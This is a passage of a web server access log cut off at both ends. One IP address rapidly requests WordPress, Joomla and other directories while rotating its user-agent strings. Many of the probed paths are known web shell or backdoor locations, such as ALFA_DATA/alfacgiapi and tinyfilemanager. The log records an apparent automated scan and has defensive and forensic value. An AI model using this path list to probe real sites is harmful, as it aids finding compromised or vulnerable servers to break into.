/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:29:59 +0300] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:59 +0300] "GET /assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:30:00 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 192.253.209.164 - - [20/Apr/2026:01:30:00 +0300] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:30:01 +0300] "GET /wp-content/plugins/wp-theme-editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:01 +0300] "GET /wp-content/plugins/up/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:30:01 +0300] "GET /fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:30:02 +0300] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:02 +0300] "GET /images/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 192.253.209.164 - - [20/Apr/2026:01:30:02 +0300] "GET /wp-admin/css/colors/ocean/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:30:03 +0300] "GET /wp-content/plugins/dummyyummy/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 192.253.209.164 - - [20/Apr/2026:01:30:03 +0300] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 192.253.209.164 - - [20/Apr/2026:01:30:03 +0300] "GET /wp-content/themes/twentytwentythree/patterns/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:04 +0300] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:30:04 +0300] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:30:05 +0300] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:30:05 +0300] "GET /wp-content/cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 192.253.209.164 - - [20/Apr/2026:01:30:05 +0300] "GET /assets/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:06 +0300] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:30:06 +0300] "GET /wp-includes/random_compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 192.253.209.164 - - [20/Apr/2026:01:30:06 +0300] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:07 +0300] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:07 +0300] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:07 +0300] "GET /wp-content/plugins/phpadmin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:08 +0300] "GET /wp-content/plugins/seoo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:30:08 +0300] "GET /wp-content/plugins/view-more/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:08 +0300] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 192.253.209.164 - - [20/Apr/2026:01:30:09 +0300] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:30:09 +0300] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 192.253.209.164 - - [20/Apr/2026:01:30:09 +0300] "GET /wp-content/plugins/ioxi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:10 +0300] "GET /blog/wp-content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 192.253.209.164 - - [20/Apr/2026:01:30:10 +0300] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 192.253.209.164 - - [20/Apr/2026:01:30:10 +0300] "GET /wp-content/themes/astra/inc/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 192.253.209.164 - - [20/Apr/2026:01:30:11 +0300] "GET /wp-content/plugins/ccx/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:11 +0300] "GET /wp-includes/css/dist/edit-widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:30:11 +0300] "GET /wp-includes/Requests/src/Exception/Http/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:11 +0300] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 192.253.209.164 - - [20/Apr/2026:01:30:12 +0300] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:12 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/img/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:13 +0300] "GET /wp-content/themes/twentytwentytwo/assets/fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:30:13 +0300] "GET /blog/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:13 +0300] "GET /blog/wp-admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:14 +0300] "GET /wp-content/themes/twentyfive/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 192.253.209.164 - - [20/Apr/2026:01:30:14 +0300] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 192.253.209.164 - - [20/Apr/2026:01:30:14 +0300] "GET /.bod/.ll/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 192.253.209.164 - - [20/Apr/2026:01:30:15 +0300] "GET /wp-content/themes/twentytwentytwo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 192.253.209.164 - - [20/Apr/2026:01:30:15 +0300] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 192.253.209.164 - - [20/Apr/2026:01:30:15 +0300] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:16 +0300] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 192.253.209.164 - - [20/Apr/2026:01:30:16 +0300] "GET /wp-admin/css/colors/coffee/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:16 +0300] "GET /wp-includes/blocks/calendar/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:30:16 +0300] "GET /wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 192.253.209.164 - - [20/Apr/2026:01:30:17 +0300] "GET /wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:17 +0300] "GET /wp-includes/bk/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:30:17 +0300] "GET /wp-content/ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:18 +0300] "GET /wp-content/uploads/2023/05/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:30:18 +0300] "GET /wp-content/themes/hello-element/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:30:18 +0300] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:19 +0300] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:30:19 +0300] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 192.253.209.164 - - [20/Apr/2026:01:30:19 +0300] "GET /wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 192.253.209.164 - - [20/Apr/2026:01:30:20 +0300] "GET /wp-includes/sodium_compat/src/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:20 +0300] "GET /wp-content/plugins/erinyani/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:30:20 +0300] "GET /wp-includes/SimplePie/Parse/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:21 +0300] "GET /wp-content/themes/sky-pro/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:21 +0300] "GET /wp-includes/SimplePie/Cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:21 +0300] "GET /wp-includes/js/tinymce/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 192.253.209.164 - - [20/Apr/2026:01:30:21 +0300] "GET /wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:30:22 +0300] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:22 +0300] "GET /img/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:22 +0300] "GET /wp-includes/interactivity-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:23 +0300] "GET /wp-includes/l10n/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 192.253.209.164 - - [20/Apr/2026:01:30:23 +0300] "GET /tinyfilemanager/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:23 +0300] "GET /wp-includes/js/tinymce/utils/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:24 +0300] "GET /components/com_newsfeeds/models/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:30:24 +0300] "GET /.trash7309/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:24 +0300] "GET /wp-content/plugins/revslider/includes/external/page/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 192.253.209.164 - - [20/Apr/2026:01:30:25 +0300] "GET /wp-content/plugins/ioxi/ioxi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:25 +0300] "GET /modules/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:30:25 +0300] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:26 +0300] "GET /wp-includes/js/tinymce/langs/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:26 +0300] "GET /wp-admin/css/colors/modern/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:26 +0300] "GET /wp-includes/blocks/group/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:27 +0300] "GET /plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 192.253.209.164 - - [20/Apr/2026:01:30:27 +0300] "GET /wordpress/wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:30:27 +0300] "GET /upload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 192.253.209.164 - - [20/Apr/2026:01:30:28 +0300] "GET /wordpress/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:28 +0300] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:30:28 +0300] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:29 +0300] "GET /.tmb/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:30:29 +0300] "GET /wp-includes/assets/wp-includes/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 192.253.209.164 - - [20/Apr/2026:01:30:29 +0300] "GET /wp-includes/blocks/file/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:30 +0300] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 192.253.209.164 - - [20/Apr/2026:01:30:30 +0300] "GET /blog/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 192.253.209.164 - - [20/Apr/2026:01:30:30 +0300] "GET /include/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:31 +0300] "GET /file/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:31 +0300] "GET /wp-content/themes/twentytwentyfour/patterns/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:30:31 +0300] "GET /images/news_event/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 192.253.209.164 - - [20/Apr/2026:01:30:32 +0300] "GET /wp-content/themes/wp-pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:32 +0300] "GET /templates/beez5/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 192.253.209.164 - - [20/Apr/2026:01:30:33 +0300] "GET /wp-admin/js/file/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:33 +0300] "GET /wp-includes/id3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:30:33 +0300] "GET /wp-includes/js/imgareaselect/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:34 +0300] "GET /upload/bilder/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:34 +0300] "GET /wp-includes/Requests/Text/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:30:34 +0300] "GET /wp-includes/sodium_compat/lib/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 192.253.209.164 - - [20/Apr/2026:01:30:34 +0300] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 192.253.209.164 - - [20/Apr/2026:01:30:35 +0300] "GET /wp-content/uploads/2021/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 192.253.209.164 - - [20/Apr/2026:01:30:35 +0300] "GET /assets/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:30:35 +0300] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:30:36 +0300] "GET /wp-includes/Requests/Auth/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 192.253.209.164 - - [20/Apr/2026:01:30:36 +0300] "GET /wp-includes/Requests/library/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:30:36 +0300] "GET /wp-content/plugins/classic-editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:30:37 +0300] "GET /wordpress/wp-admin/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:30:37 +0300] "GET /backup/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:30:37 +0300] "GET /files/shares/ 